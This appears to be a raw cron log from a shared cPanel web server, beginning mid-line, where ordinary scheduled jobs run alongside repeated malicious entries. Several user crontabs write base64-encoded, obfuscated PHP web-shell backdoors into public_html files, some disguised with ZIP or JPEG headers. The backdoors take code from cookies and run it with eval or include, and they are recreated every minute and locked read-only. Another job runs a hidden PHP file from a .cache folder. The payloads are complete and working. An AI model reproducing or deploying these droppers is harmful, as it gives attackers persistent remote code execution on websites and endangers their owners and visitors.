CAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:46:02 medusa CROND[31236]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:46:02 medusa CROND[31237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:46:02 medusa CROND[31238]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:46:02 medusa CROND[31240]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:46:02 medusa CROND[31249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:46:02 medusa CROND[31246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:46:02 medusa CROND[31250]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:46:02 medusa CROND[31256]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:46:02 medusa CROND[31252]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:46:02 medusa CROND[31262]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:46:02 medusa CROND[31273]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:47:02 medusa CROND[12925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:47:02 medusa CROND[12926]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:47:02 medusa CROND[12927]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:47:02 medusa CROND[12928]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:47:02 medusa CROND[12930]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:47:02 medusa CROND[12932]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:47:02 medusa CROND[12931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:47:02 medusa CROND[12935]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:47:02 medusa CROND[12951]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:47:02 medusa CROND[12954]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 14:47:02 medusa CROND[12956]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:47:02 medusa CROND[12957]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:47:02 medusa CROND[12966]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:48:01 medusa CROND[29811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:48:01 medusa CROND[30094]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:48:01 medusa CROND[30095]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:48:01 medusa CROND[30099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:48:01 medusa CROND[30100]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:48:01 medusa CROND[30101]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:48:01 medusa CROND[30102]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:48:01 medusa CROND[30098]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:48:01 medusa CROND[30106]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
